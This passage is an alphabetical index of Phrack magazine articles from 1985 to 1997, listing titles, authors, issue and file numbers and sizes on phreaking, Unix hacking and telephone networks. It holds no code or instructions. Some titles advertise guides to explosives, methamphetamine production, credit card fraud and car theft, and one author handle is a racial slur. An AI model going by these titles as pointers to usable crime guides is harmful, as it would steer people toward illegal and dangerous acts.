   Aristotle" by Dispater. 1992 I38 F3 6k
   Ax Murderer" by Crimson Death. 1988. I18 F2 4k
   Broadway Hacker" by Taran King. 1986. I5 F2 5k
   Chanda Lier" by Taran King. 1989. I24 F2 6k
   Chris Goggans" by S. Leonardo Spitz. 1991. I35 F3 20k
   Crimson Death" by Taran King. 1986. I4 F1
   Computer Cop" by The Grimace. 1993. I44 F5 22k
   Control C" by Phrack Staff. 1994. I45 F7 22k
   daemon9" by Phrack Staff. 1996. I48 F5 23k
   Dave Starr" by Taran King. 1987. I10 F2 8k
   Disk Jockey" by The Disk Jockey and & Dispater. 1991 I34 F3 23k
   Docter Who" by Phrack Staff. 1993 I43 F6 15k
   Emmanuel Goldstein" by Taran King. 1989. I29 F2 16k
   Erik Bloodaxe" by Taran King. 1989. I28 F2 15k
   Groups" by Knight Lightning. 1986. I6 F2 14k
   Karl Marx" by Taran King and Knight Lightning. 1988. I22 F2 9k
   Lex Luthor" by Taran King. 1992. I40 F3 36k
   Lord Digital" by Lord Digital. 1992 I42 F3 22k
   Markus Hess" by Pain Hertz. 1990. I31 F2 6k
   The Mentor" by Taran King. 1989. I23 F2 7k
   Minor Threat" by Phrack Staff. 1994. I46 F5 12k
   Modem Master" by Taran King. 1988. I21 F2 6k
   Mudge" by Phrack Staff. 1996. I49 F4 8k
   The Nightstalker" by Taran King. 1986. I9 F2 6k
   ReDragon" by Phrack Staff. 1996. I48 F5 23k
   Scan Man"" by Taran King. 1986. I7 F2 7k
   Shadow Hawk 1" by Dispater. 1992 I39 F3 8k
   Shooting Shark" by Crimson Death. 1991. I33 F2 16k
   Supernigger" by Supernigger. 1992. I41 F3 10k
   Taran King" by Taran King. 1988. I20 F2 14k
   Terminus" by Taran King. 1987. I14 F2 7k
   Tuc" by Taran King. 1986. I8 F2 6k
   Wizard of Arpanet" by Taran King. 1987. I11 F2 7k
   Voyager" by Phrack Staff. 1996. I48 F5 23k
"The Phrack University Dialup List" by Phrack Staff. 1994. I46 F13 12k
"Phrack World News" by alhambra. 1997. I50 F15 110k
"Phrack World News" by Crimson Death. 1991 I33 F11 18k
"Phrack World News" Parts 1-3 by Datastream Cowboy. 1992. I38 F13-15 34,32,33k
"Phrack World News" Parts 1-4 by Datastream Cowboy. 1992. I39 F10-13 30,27,29,29k
"Phrack World News" Parts 1-3 by Datastream Cowboy. 1992. I40 F12-14 50,48,48k
"Phrack World News" Parts 1-3 by Datastream Cowboy. 1992. I41 F11-13 46,49,43k
"Phrack World News" by Datastream Cowboy. 1992. I42 F14 29k
"Phrack World News" by Datastream Cowboy. 1993. I43 F27 24k
"Phrack World News" by Datastream Cowboy. 1993. I44 F27 22k
"Phrack World News" by Datastream Cowboy. 1994. I45 F28 17k
"Phrack World News" by Datastream Cowboy. 1994. I46 F28 38k
"Phrack World News" by Datastream Cowboy. 1995. I47 F22 38k
"Phrack World News" by Datastream Cowboy. 1996. I48 F18 21k
"Phrack World News" by Disorder. 1996. I49 F16 109k
"Phrack World News" by Dispater. 1991. I33(F12,13  28/25k) I34 (F10/11 14/19k)
 I35(F10-13 27/31/34/27k)
    co-authored
        "Phrack World News" Part 1-4 1992 I37 F11-14 31,30,29,31k
"Phrack World News" by Epsilon. 1988. I18 F10-11  I19 F8 6k
"Phrack World News" by Knight Lightning. 1985-90. I2 F9 I3 F10  I4 F9-11
   I5 F10-12  I6 F9-13  I7 F8-10  I8 F8-9  I9 F10  I10 F8-9  I11 F11-12
   I12 F10-11  I13 F10  I14 F8-9  I15 F6-7  I19 F7  I20 F12  I23 F11-12
   I24 F11-13  I25 F9 19k-11  I26 F9-11  I27 F10-12
   I28 F9-12  I29 F10-12  I30 F11-12
"Phrack World News" by Knight Lightning and Epsilon. 1988. I21 F10 22k-11
"Phrack World News" by Knight Lightning and Taran King. 1988. I22 F9 25k-12
"Phrack World News" by The Mad Phone-Man. 1987. I16 F9-10
"Phrack World News" by Phreak_Accident. 1990. I31 F8-10 (13,17,40k)
"Phrack World News" by Shooting Shark. 1987. I16 F11 2k
"Phrack World News" by Sir Francis Drake. 1987-88. I15 F8  I17 F10
"Phrack World News" by The $muggler. 1987-88. I16 F12, I17 F11
"Phrack World News" by The Sorceress. 1988. I17 F12 8k
"Phrack World News Special Edition #1" by Knight Lightning. 1987. I14 F7 32k
"Phrack World News Special Edition II" by Knight Lightning. 1988. I21 F9 78k
"Phrack World News Special Edition III (SummerCon '89)" by Knight Lightning.
 1989. I28 F8 31k
"Phrack World News Special Edition IV" <CyberView '91) by Bruce Sterling 1991.
 I33 F10 28k
"Phrack World News Special Report VI on WeenieFest'92" by Count Zero 1992.
 I37 F10 14k
"Phrack World News Special Report VI on CFP-2" by Max Nomad. 1992. I38 F12 18k
Phreak_Accident authored
        "Phrack World News" 1990. I31 F8-10 (13,17,40k)
        "TAMS & Telenet Security" 1990. I31 F4 7k
        "Phreak/Hack Sub [from Metal Shop Private BBS]" 1988. I20 F7 46k

PHREAKING
(See also CELLULAR, COSMOS, ISDN, LONG DISTANCE CARRIERS, TELEPHONE SWITCHING,
 PBX)
   "The AT&T Mail Gateway" by Robert Alien. 1991. I34 F4 5k
   "The Art of Junction Box Modeming" by Mad Hacker 616. I8 F5 6k
   "Automatic Number Identification" by Phantom Phreaker and Doom Prophet.
      I10 F7 9k
   "Blocking of Long Distance Calls" by Jim Schmickley. 1988. I21 F8 26k
   "Blocking of Long Distance Calls... Revisited" by Jim Schmickley. 1989.
      I29 F9
   "The Blue Box and Ma Bell" by The Noid. 1989. I25 F7 19k
   "Box.exe for SoundBlasters"<unencoded> by The Fixer. 1994. I45 F22 13k
   "Busy Line Verification" by Phantom Phreaker. 1987. I11 F10 10k
   "Busy Line Verification Part II" by Phantom Phreaker. 1987. I12 F8 9k
```

"Can You Find Out If Your Telephone Is Tapped?" by Fred P. Graham and VaxCat. 1989. I23 F9 20k
"Centrex Renaissance 'The Regulations'" by Jester Sluggo. 1986. I4 F7 17k
"Circuit Switched Digital Capability" by The Executioner. 1987. I10 F5 12k
"City-Wide Centrex" by The Executioner. 1986. I8 F3 14k
"Computer-Based Systems for Bell System Operation" by Taran King. 1989. I26 F2
"Control Office Administration of Enhanced 911 Service" by The Eavesdropper. 1989. I24 F5 22k
"DCO Operating System" by mrnobody. 1997. I50 F14 16k
"DTMF signalling and decoding" by Mr. Blue. 1997. I50 F13 17k
"The Craft Acces Terminal" by Boss Hogg. 1996. I48 F8 36k
"Electronic Telephone Cards(Part 1)" by Stephane Bausson. 1996. I48 F10 39k
"Electronic Telephone Cards(Part 2)" by Stephane Bausson. 1996. I48 F11 66k
"The Fine Art of Telephony" by Crimson Flash. 1992 I40 F7 65k
"The Fone Phreak's Revenge" by Iron Soldier. 1985. I1 F4 4k
"Fortell Systems" by Phantom Phreaker. 1986. I3 F6 3k
"Glossary Terminology for Enhanced 911 Service" by The Eavesdropper. 1989. I24 F6
"Guide to 5ESS" by Firm G.R.A.S.P.. 1993. I43 F17 63k
"A Guide to British Telecom's Caller ID Service" by Dr. BOB 1995. I47 F19 31k
"How to Build a Paisley Box" by Thomas Covenant and Double Helix. 1987. I13 F4 5k
"Information About NT's FMT-150/B/C/D" by Static. 1996. I48 F9 22k
"Introdcution to Telephony and PBX Systems" by Cavalier. 1996. I49 F5 100k
"International Toll Free Code list" by The Trunk Terminator 1991 I33 F6 15k
"LATA Reference List" by Infinite Loop 1991 I33 F5 11k
"Loop Maintenance Operating System" by Control C. 1988. I18 F8 32k
"Loop Maintenance Operations System" by Phantom Phreaker and Doom Prophet. 1986. I9 F9 17k
"Making Free Local Payfone Calls" by Killer Smurf. 1987. I15 F3 7k
"Mall Cop Frequencies" by Caligula XXI. 1992. I41 F10 11k
"An Overview of Pre-Paid Calling Cards" by Treason. 1995. I47 29k
"SS7 Diverter plans" by Mastermind. 1997. I50 F9 27k
"South Western Bell Lineman Word Codes" by Icon. 1997. I49 F11 18k
"NorThern Telecom's FMT-150B/C/D" by FyberLyte. 1993 I44 F13 16k
"Telenet/Sprintnet's PC Pursuit Outdial Directory" by Amadeus. 1991 I35 F4 90k
"Telephone Company Customer Applications" by Voyager. 1996. I49 F13 38k
"The Myth and The Reality About Eavesdropping" by Phone Phanatic. 1989. I29 F8
"PACT: Prefix Access Code Translator" by The Executioner. 1987. I11 F3 8k
"Phreaking in Germany" by Ninja Master 1991 I33 F7 28k
"Prevention of The Billing Office Blues" by Forest Ranger. 1985. I2 F2 1k
"A Real Functioning PEARL BOX Schematic" by Dispater. 1989. I28 F5 5k
"A Real Functioning RED BOX Schematic" by J.R. "Bob" Dobbs. 1991. I33 F9 12k
"Real Phreaker's Guide Vol. 2" by Taran King and Knight Lightning. 1987. I13 F2 5k
"The Reality of The Myth [REMOBS]" by Taran King. 1987. I14 F4 6k
"Special Area Codes" by >Unknown User<. 1989. I24 F8 27k
"Special Area Codes II" 1992. by Bill Huttig I39 F7 17k
"The Total Network Data System" by Doom Prophet. 1987. I12 F5 13k

"Phreaking in Germany" by Ninja Master 1991 I33 F8 7k
"Phreaks in Verse" by Sir Francis Drake. 1987. I13 F5 3k
"Phreaks in Verse II" by Homey The Hacker 1991. I36 F8 14k
Professor Falken authored
  "Tymnet Diagnostic Tools" 1992. I42 F5 35k
Phrozen Ghost authored
  "Hacking CDC's Cyber" 1988. I18 F5 12k
"Physical Access and Theft of PBX Systems" by Co/Dec. 1993. I43 F15 28k

PIRATING see WAREZ

"Pirate's Cove" by Rambone. 1992. I37 F3 8k
"Pirate's Cove" by Rambone. 1992. I38 F3 23k
"Pirate's Cove" by Rambone. 1992. I40 F5 57k
"Pirate's Cove" by Rambone. 1992. I41 F5 32k
"Playing Hide and Seek, Unix Style" by Phrack Accident. 1993. I43 F14 31k

"The Postal Inspection Service" by Vendetta. 1989. I27 F9 14k
"Plant Measurement" by The Executioner. 1986. I9 F6 13k
"Prevention of The Billing Office Blues" by Forest Ranger. 1985. I2 F2 1k
"Preview to Phrack 13-The Life & Times of The Executioner" 1987. I12 F3 5k
Prime Suspect authored
    "A Few Things About Networks" 1988. I18 F9 21k

PRIMOS OPERATING SYSTEM
  "A Hacker's Guide to Primos: Part 1" by Cosmos Kid. 1987. I16 F3 11k
  "Hacking Primos I, II, III" by Evil Jay. 1987. I11 F7 7k
  "Hacking Primos Part I" by Evil Jay. 1987. I10 F6 11k
  "Primos: Primenet, RJE, DPTX" by Magic Hasan. 1988. I18 F4 15k

"Primos: Primenet, RJE, DPTX" by Magic Hasan. 1988. I18 F4 15k
"Private Audience" by Overlord. 1986. I3 F5 13k
Professor Erhart Moeller authored
    "The Moeller Papers" 1993. I44 F10 30k
Professor authored
    "Hardwire Interfacing under Linux" 1997. I50 F11 11k
"Profile of MAX Long Distance Service" by Phantom Phreaker. 1986. I4 F4 4k
"Programming RSTS/E File2: Editors" by Solid State. 1986. I9 F4 13k
"Project Hades: TCP Weakness" by daemon9. 1996. I49 F7 38k
"Project Loki: ICMP Tunneling" by daemon9/alhambra. 1996. I49 F7 38k
"Project Neptune" by daemon9. 1996. I48 F13 52k
The Pyro authored
    "Blowguns" 1985. I2 F4 3K 3K
PsychoSpy authored
    "The Groom Lake Desert Rat" 1994. I46 F21 44k

** Q **

"Quentin Strikes Again" by The Omega and White Knight. 1994. I45 F12 28k

** R **

The Racketeer authored
    "Guide to Encryption" 1992. I42 F11 32k
    "Network Miscellany" 1992. I40 F4 32k
    "Network Miscellany" 1992. I41 F4 35k
Radical Rocker authored
    "How to Make TNT" 1986. I7 F6 2k
"Radio Free Berkley Information" 1994. I45 F24 35k
"Radio Hacking" by The Seker. 1986. I5 F8 3k
"R.A.G. - Rodents are Gay" by Evil Jay. 1987. I13 F6 6k
"RAGS - The Best of Sexy Exy" 1987. I13 F9 19k
Rambone authored
    "Pirate's Cove" 1992. I37 F3 8k
    "Pirate's Cove" 1992. I38 F3 23k
    "Pirate's Cove" 1992. I40 F5 57k
    "Pirate's Cove" 1992. I41 F5 32k
Raoul wrote
    "DCL BBS Program" 1994. I45 F16 23k
Razor's Edge authored
    "The Truth About Lie Detectors" 1989. I30 F9 15k
"Reading Trans-Union Credit Reports" by The Disc Jockey. 1987. I16 F7 6k
"Real Cyberpunks" by The Men From Mongo. 1991 I36 F9 13k
"A Real Functioning PEARL BOX Schematic" by Dispater. 1989. I28 F5 5k
"A Real Functioning RED BOX Schematic" by J.R. "Bob" Dobbs 1991. I33 F9 12k
"Real Phreaker's Guide Vol. 2" by Taran King and Knight Lightning. 1987. I13 F2 5k
"The Reality of The Myth [REMOBS]" by Taran King. 1987. I14 F4 6k
ReDragon was Pro-Philed in 1996. I48 F5 23k
Red Knight authored
    "An In-Depth Guide in Hacking Unix" 1988. I22 F5 35k
Red Skull authored
    "Startalk" 1994. I46 F18 21k

```
R.E.M wrote
        "Paid Advertisement"(unencoded game) 1994. I46 F6 62k
        "Paid Advertisement Part ][" (unencoded game) 1994. I46 F7 45k
"A Report on The Internet Worm" by Bob Page. 1988. I22 F8 16k
Richard Goodwin authored
        "Hollywood-Style Bits & Bytes" 1994. I45 F17 50k
Richard C. Hollinger authored
        "Computer Hackers Follow a Guttman-Like Progression. 1988. I22 F7 10k
"Ring Back Codes for The 314 NPA" by Data Line. 1985. I4 F2 1k
Robert Alien authored
        "The AT&T Gateway" 1991 I34 F4 5k
Robert Clark authored
        "My Bust Part I" 1993. I43 F12 56k
        "My Bust Part II" 1993. I43 F13 55k
"Rolm Systems" by Monty Python. 1986. I3 F2 11k
route authored
        "Juggernaut"(linux tool) 1997. I50 F6 123k
"The Royal Court [from Metal Shop Private BBS]" 1988. I20 F10 3k
"RSTS" by Crimson Death. 1990. I32 F9 23k

RSTS OPERATING SYSTEM
   "Hacking RSTS" by Data Line. 1985. I2 F8 4k
   "Hacking RSTS Part 1" by The Seker. 1986. I7 F5 12k
   "Programming RSTS/E File2: Editors" by Solid State. 1986. I9 F4 13k
   "RSTS" by Crimson Death. 1990. I32 F9 23k

"Running a BBS on X.25" by Seven Up. 1994. I45 F8 15k
Ryche authored
        "Hacking Chilton's Credimatic" 1986. I7 F4 8k


                                        ** S **


The $muggler authored
        "Coin Box Thief Wanted" (PWN) 1987. I16 F12 2k
        "'Illegal' Hacker Crackdown" (PWN) 1988. I17 F11 5k
        "Snarfing Remote Files" by Dark Overlord. 1989. I28 F6 5k
        "Social Engineering [from Metal Shop Private BBS]" 1988. I20 F8 19k
"Safe and Easy Carding" by VaxBuster 1993. I44 F20 18k
"SAM Security" by Spitfire Hacker. 1985. I1 F2 2k
"Sara Gordon -vs- Kohntark Part I" by The Editor. 1993. I44 F11 12k
"Sara Gordon -vs- Kohntark Part II" by The Editor. 1993. I44 F12 47k
"Satellite Communications" by Scott Holiday. 1988. I21 F5 9k
Scan Man authored
        "Scan Man's Rebuttal to Phrack World News" 1987. I12 F9 17k
"Scan Man's Rebuttal to Phrack World News" by Scan Man. 1987. I12 F9 17k
"School/College Computer Dial-Ups" by Phantom Phreaker. 1985. I1 F8 4k
Scott Holiday authored
        "Satellite Communications" 1988. I21 F5 9k
Scott Simpson authored
        "Hacking AT&T System 75" 1992. I41 F6 20k
"Screwing Over Your Local McDonalds" by Charlie X. 1994. I45 F19. 20k
"Searching for speciAL acceSs agentS" by Dr. Dude. 1991. I36 F7 18k
"Searching The Dialog Information Service" by Al Capone. 1993. I44 F18 48k
"Security Guidelines" by Various Sources. 1994. I45 F10 55k
"Security Shortcomings of AppleShare Networks" by Bobby Zero. 1992. I41 F9 16k
The Seker authored
        "Radio Hacking" 1986. I5 F8 3k
        "Hacking RSTS Part 1" 1986. I7 F5 12k
        "Sending Fakemail in Unix" by Dark Overlord. 1989. I27 F8 2k
"The Senator Markey Hearing Transcripts" by >Unknown User<. I45 F20 72k
Sendai authored
        "Keytrap Revisisted" 1996. I48 F12 13k
Seven Up authored
        "Running a BBS on X.25" 1994. I45 F8 15k
        "The ABCs of Better Hotel Staying" 1994. I46 F25 12k
"Shadows of a Future Past (Part 1 of The Vicious Circle Trilogy)" by
 Knight Lightning. 1988. I21 F3 26k
Shadow Hawk 1 was Pro-Philed in 1992. I39 F3 8k
```

```
The Shining authored
        "Unix Hacking - Tools of The Trade" 1994. F11 42k
Shooting Shark authored
        Introduction/Index for I15,17 F1 2k
        "More Stupid Unix Tricks" 1987. I15 F2 10k
        "Nasty Unix Tricks" 1986. I6 F5 4k
        "Shadow Hawk Busted Again" 1987. I16 F11 2k
        "Social Security Number Formatting" 1988. I19 F4 3k
        "Trojan Horses in Unix" 1986. I7 F7 13k
Shooting Shark Pro-Philed in 1991 I33 F2 6k
Sideshow Bob authored
        "PC Application Level Security" 1997. I50 F12 21k
Signal Substain authored
        "Nitrogen-Trioxide Explosive" 1988. I17 F4 7k
"Signalling Systems Around The World" by Data Line. 1986. I3 F4 2k
"Simple Data Encryption or Digital Electronics 101" by The Leftist. 1987.
 I11 F5 4k
Sir Francis Drake authored
        "Phrack World News" 1987. I15 F8 6k
        "Bust Update" (PWN) 1988. I17 F11 3k
        "Phreaks in Verse" 1987. I13 F5 3k
Sir Hackalot authored
        "Unix 'Nasties'" 1990. I32 F5 32k
Skylar authored
        "Sprintnet Directory Part 1/3" 1992. I42 F8 49k
        "Sprintnet Directory Part 2/3" 1992. I42 F9 45k
        "Sprintnet Directory Part 3/3" 1992. I42 F10 46k
"Skytel Paging and Voicemail" by pbxPhreak. 1997. I50 F10 36k
S. Leonardo Spitz authored
        "Phrack Pro-Phile on Chris Goggens" 1991. I35 F3 20k
"Smashing The Stack For Fun And Profit" by Aleph1. 1996. I49 F14 66k
"Smoke Bombs" by Alpine Cracker. 1986. I6 F6 2k
"SNMP insecurities" by alhambra. 1997. I50 F7 20k
"SS7 Diverter plans" by Mastermind. 1997. I50 F9 27k
Steve Fleming authored
        "The Truth...and Nothing but the Truth" 1996. I48 F16 19k
"Social Security Numbers & Privacy" by Chris Hibbert of CPSR. 1991. I35 F6 13k
Solid State authored
        "Programming RSTS/E File2: Editors" 1986. I9 F4 13k
The Sorceress authored
        "Accessing Government Computers" 1988. I17 F7 9k
        "Cracker are Cheating Bell" (PWN) 1988. I17 F12 8k
        "SPAN: Space Physics Analysis Network" by Knight Lightning. 1989.
         I25 F4 47k
"Social Security Number Formatting" by Shooting Shark. 1988. I19 F4 3k
"South Western Bell Lineman Word Codes" by Icon. 1997. I49 F11 18k
Sovereign Immunity authored
        "Sting Operations" 1991. I35 F5 6k
"Special Area Codes" by >Unknown User<. 1989. I24 F8 27k
Spirit Walker co-authored
        "Phrack World News" Part 1-4 1992 I37 F11-14 31,30,29,31k
Spitfire Hacker authored
        "SAM Security" 1985. I1 F2 2k
Split Decision authored
        "Phone Bugging: Telecom's Underground Industry" 1989. I26 F7 7k
"Sprintnet Directory Part 1/3" by Skylar. 1992. I42 F8 49k
"Sprintnet Directory Part 2/3" by Skylar. 1992. I42 F9 45k
"Sprintnet Directory Part 3/3" by Skylar. 1992. I42 F10 46k
Spy Ace authored
        "Step by Step Guide to Stealing a Camaro" 1993. I43 F20 21k
"Standing up to Fight The Bells" by Knight Lightning. 1992. I38 F10 27k
"Startalk" by The Red Skull. 1994. I46 F18 21k
Static authored
        "Information About NT's FMT-150/B/C/D" 1996. I48 F9 22k
"Steganography Improvement Proposal" by cjml. 1996. I49 F10 6k
Stephane Bausson authored
        "Electronic Telephone Cards(Part 1)" 1996. I48 F10 39k
        "Electronic Telephone Cards(Part 2)" 1996. I48 F11 66k
"Step by Step Guide to Stealing a Camaro" by Spy Ace. 1993. I43 F20 21k
"Sting Operations" by Sovereign Immunity. 1991. I35 F5 6k
```

"Subdivisions (Part 3 of The Vicious Circle Trilogy)" by Knight Lightning. 1989. I23 F3 17k
Substance authored
"The Complete Guide to Hacking Meridian Voice Mail" 1995. I47 F15 10k
"SummerCon 1992" by Knight Lightning and Dispater. 1992. I40 F11 35k
Suppernigger was Pro-Philed in 1992. I41 F3 10k
Synapse authored
"Datapac" 1993. I44 F21 36k
SynThecide authored
"Covert Paths" (co-authored) 1989. I29 F5 4k
"Hacking and Tymnet" 1989. I30 F3 20k
Szechuan Death authored
"Legal Info" 1994. I46 F9 13k

** T **

"10th Chaos Computer Congress" by Manny E. Farber. 1994. I45 F13 23k
"TAC Info" no author. 1985. I2 F5 14K
"TAMS & Telenet Security" by Phreak_Accident. 1990. I31 F4 7k
"Tandy/Radio Shack Cellular Phones" by Damien Thorn. 1996. I48 F7 43k
"Tapping Telephone Lines" by Agent Steal. 1987. I16 F6 9k
Taran King authored
"AIS - Automatic Intercept System" 1987. I11 F6 16k
"Bell Network Switching Systems" 1989. I25 F3 16k
"Breaching and Clearing Obstacles" 1986. I4 F5 7k
"Computer-Based Systems for Bell System Operation" 1989. I26 F2 38k
Introduction/Indexes for I1-2,5-13 F1
Introduction/Indexes (co-authored) for I20-30 F1
"Introduction of Phrack" 1985. I1 F1 2k
"Network Miscellany" 1989. I28 F4 30k
"Network Miscellany II" 1989. I29 F4 35k
"Network Miscellany III" 1989. I30 F2 21k
"Operating The VM/SP CP" 1989. I27 F2 38k
"Phrack Pro-Phile of Broadway Hacker" 1986. I5 F2 5k
"Phrack Pro-Phile of Scan Man" 1986. I7 F2 7k
"Phrack Pro-Phile Featuring Chanda Leir" 1989. I24 F2 6k
"Phrack Pro-Phile Featuring The Mentor" 1989. I23 F2 7k
"Phrack Pro-Phile Featuring Terminus" 1987. I14 F2 7k
"Phrack Pro-Phile on Agrajag The Prolonged" 1987. I12 F2 7k
"Phrack Pro-Phile on Crimson Death" 1986. I4 F1
"Phrack Pro-Phile on Dave Starr" 1987. I10 F2 8k
"Phrack Pro-Phile on Emanuell Goldstein" 1989. I29 F2 16k
"Phrack Pro-Phile on Erik Bloodaxe" 1989. I28 F2 15k
"Phrack Pro-Phile on Karl Marx" (co-authored) 1988. I22 F2 9k
"Phrack Pro-Phile on Lex Luthor" 1992. I40 F3 36k
"Phrack Pro-Phile on Modem Master" 1988. I21 F2 6k
"Phrack Pro-Phile on The Nightstalker" 1986. I9 F2 6k
"Phrack Pro-Phile on Taran King" 1988. I20 F2 14k
"Phrack Pro-Phile on Tuc" 1986. I8 F2 6k
"Phrack Pro-Phile on Wizard of Arpanet" 1987. I11 F2 7k
"Phrack World News" (co-authored) 1988. I22 F9 25k-12
"The Reality of The Myth [REMOBS]" by Taran King. 1987. I14 F4 6k
"Universal Informational Services via ISDN" 1985. I2 F6 6K
co-authored
"Network Management Center" (co-authored) 1988. I21 F6 13k
"SummerCon 1992"(co-authored) 1992. I40 F11 35k
"Real Phreaker's Guide Vol. 2" (co-authored) 1987. I13 F2 5k
"25th Anniversary Index" (co-authored). 1989. I25 F2 15k
"Welcome to Metal Shop Private" (co-authored) 1988. I20 F4 37k
"TCP/IP: A Tutorial Part 1 of 2" by The Not. 1991 I33 F8 28k
"TCP/IP: A Tutorial Part 2 of 2" by The Not. 1991 I34 F8 39k
"TCP port Stealth Scanning" by Uriel I49 F15 32k
"Telephone Company Customer Applications" by Voyager. 1996. I49 F13 38k
"The Technical Revolution" by Dr. Crash. 1986. I6 F3 4k
"The Tele-Pages" by Jester Sluggo. 1988. I21 F4 37k

TELENET see X.25 PACKET SWITCHING NETWORKS

"Telenet/Sprintnets PC Pursuit Outdial Directory" by Amadeus. 1991. I35 F4 90k
"Telephone Company Customer Applications" by Voyager. 1996. I49 F13 38k
"Telephone Signalling Methods" by Doom Prophet. 1987. I11 F8 7k

TELEPHONE SWITCHING EQUIPMENT AND METHODS
"Bell Network Switching Systems" by Taran King. 1989. I25 F3 16k
"Digital Multiplexing Systems (Part 2)" by Control C. 1988. I19 F3 18k
"DMS-100" by Knight Lightning. 1986. I5 F5 8k
"Facility Assignment & Control Systems" by Phantom Phreaker. 1988. I19 F5 11k
"NorThern Telecom's FMT-150B/C/D" by FyberLyte. 1993. I44 F13 16k
"Searching The Dialog Information Service" by Al Capone. 1993. I44 F18 48k
"Signalling Systems Around The World" by Data Line. 1986. I3 F4 2k
"Telephone Signalling Methods" by Doom Prophet. 1987. I11 F8 7k
"The Universal Data Convertor" by Maldoror. 1994. I45 F21 45k
"Understanding The Digital Multiplexing System (DMS)" by Control C. 1987. I12 F4 19k
"Understanding DMS Part II" by Control C. 1987. I14 F5 18k

The Man authored
"Your New Windows Background (Part 1)"<unencoded> 1995. I47 F17 39k
"Your New Windows Background (Part 2)"<unencoded> 1995. I47 F18 46k
"The Truth...and Nothing but the Truth" by Steve Fleming. 1996. I48 F16 19k
Thomas Covenant authored
"How to Fuck Up The World - A Parody" 1987. I13 F3 10k
co-authored
"How to Build a Paisley Box" 1987. I13 F4 5k
Thumpr authored
"Big BroTher Online" 1989. I23 F10 8k
"Timeline Featuring Taran King, Knight Lightning, and Cheap Shades" 1988. I20 F2
"The TMC Primer" by Cap'n Crax. 1987. I10 F3 6k
Tom Brokow authored
"Credit Card Laws" 1987. I16 F5 7k
Toucan Jones authored
"BT Tymnet, Part 1/3" 1992. I40 F8 57k
"BT Tymnet, Part 2/3" 1992. I40 F9 55k
"BT Tymnet, Part 3/3" 1992. I40 F10 91k
"The Total Network Data System" by Doom Prophet. 1987. I12 F5 13k
Treason authored
"An Overview of Pre-Paid Calling Cards" 1995. I47 29k
"The Tried and True Home Production Method for Methamphetamine" by The Leftist. 1986. I4 F8 7k
The Trunk Terminator authored
"International Toll Free Code List" 1991 I33 F6 15k
"A Trip to The NCSC" by Knight Lightning. 1990. I32 F7 16k
"Trojan Horses in Unix" by Shooting Shark. 1986. I7 F7 13k
"The Truth About Lie Detectors" by Razor's Edge. 1989. I30 F9 15k
"TRW Business Terminology" by Control C. 1987. I14 F6 5k
TTY-Man co-authored
"Multi-User Chat Program for DEC-10's" 1986. I9 F7 7k
"TTY Spoofing by VaxBuster" 1992. I41 F8 20k
"25th Anniversary Index" by Knight Lightning, Taran King, and oTher friends. 1989. I25 F2 15k
Twister Pair authored
"Auto-Answer It" 1991. I35 F9 10k
TYMNET see X.25 PACKET SWITCHING NETWORKS
"Tymnet Diagnostic Tools" by Professor Falken. 1992. I42 F5 35k
"Tymnet Security Memo" by Anonymous. 1990. I31 F7 9k

** U **

"Understanding The Digital Multiplexing System (DMS)" by Control C. 1987. I12 F4 19k
"Understanding DMS Part II" by Control C. 1987. I14 F5 18k
"Universal Informational Services via ISDN" by Taran King. 1985. I2 F6 6K
"Unix Cracking Tips" by Dark Overlord. 1989. I25 F5 14k

"Unix for The Moderate" by Urvile. 1988. I18 F6 11k
"Unix 'Nasties'" by Sir Hackalot. 1990. I32 F5 32k

UNIX OPERATING SYSTEM
  "Hardwire Interfacing under Linux" by Professor. 1997. I50 F11 11k
  "Hiding Out Under Unix" by Black Tie Affair. 1989. I25 F6 9k
  "Introduction to CGI and CGI vulnerabilities" by G. Gilliss. 1996.
   I49 F8 12k
  "An In-Depth Guide in Hacking Unix" by Red Knight. 1988. I22 F5 35k
  "Juggernaut"(linux tool) by route. 1997. I50 F6 123k
  "Linux TTY hijacking" by halflife. 1997. I50 F5 15k
  "More Stupid Unix Tricks" by Shooting Shark. 1987. I15 F2 10k
  "Nasty Unix Tricks" by Shooting Shark. 1986. I6 F5 4k
  "Playing Hide and Seek, Unix Style" by Phrack Accident. 1993. I43 F14 31k
  "Sending Fakemail in Unix" by Dark Overlord. 1989. I27 F8 2k
  "Snarfing Remote Files" by Dark Overlord. 1989. I28 F6 5k
  "Trojan Horses in Unix" by Shooting Shark. 1986. I7 F7 13k
  "Unix Cracking Tips" by Dark Overlord. 1989. I25 F5 14k
  "Unix for The Moderate" by Urvile. 1988. I18 F6 11k
  "Unix Hacking - Tools of The Trade" by The Shining. 1994. F11 42k
  "Unix 'Nasties'" by Sir Hackalot. 1990. I32 F5 32k
  "Unix System Security Issues" by Jester Sluggo. 1988. I18 F7 27k
  "Yet AnoTher File on Hacking Unix" by >Unknown User<. 1988. I22 F6 19k

"Unix Hacking - Tools of The Trade" by The Shining. 1994. F11 42k
"Unix System Security Issues" by Jester Sluggo. 1988. I18 F7 27k
>Unknown User< (Phrack's anonymous submitter alias) was used to tag
  "Centigram Voice Mail System Consoles" 1992. I39 F6 36k
  "The Senator Markey Hearing Transcripts" I45 F20 72k
  "Special Area Codes" 1989. I24 F8 27k
  "Tymnet Security Memo" 1990. I31 F7 9k
  "Yet AnoTher File on Hacking Unix" 1988. I22 F6 19k
"The Universal Data Convertor" by Maldoror. 1994. I45 F21 45k
Uriel authored
  "TCP port Stealth Scanning" I49 F15 32k
Urvile authored
  "Unix for The Moderate" 1988. I18 F6 11k

USENET see WIDE AREA NETWORKS

"Useful Commands for The TP3010 Debug Port" by G. Tenet. 1992. I42 f7 28k
"Users Guide to VAX/VMS Part 1/3" by Black Kat. 1991. I35 F7 62k
"Users Guide to VAX/VMS Part 2/3" by BLack Kat. 1992. I37 F7 25k
"Users Guide to VAX/VMS Part 3/3" by Black Kat. 1992. I38 F7 46k
"Users Guide to XRAY" by NOD. 1992. I42 F6 11k
"Utopia; Chapter One of FTSaga" by Knight Lightning. 1989. I23 F4 20k

UUCP see WIDE AREA NETWORKS

** V **

Various Sources contributed to
  "Cellular Debug Mode Commands" 1994. I45 F26 13k
  "Conference News Part I" 1993. I43 F7 53k
  "Conference News part II" 1993. I43 F8 58k
  "Conference News Part I" 1993. I44 F6 55k
  "Conference News Part II" 1993. I44 F7 35k
  "Conference News Part III" 1993. I44 F8 50k
  "Defcon Information" 1995. I47 F9 28k
  "Defcon II Information" 1994. I45 F14 26k
  "HoHoCon"(review) 1992. I42 F13 51k
  "HoHoCon Miscellany" 1994. I45 F11 32k
  "HoHoCon Miscellany" 1995. I47 F12 33k
  "International Scene" 1993. I43 F26 51k
  "International Scene" 1993. I44 F26 25k
  "International Scene" 1994. I45 F27 63k
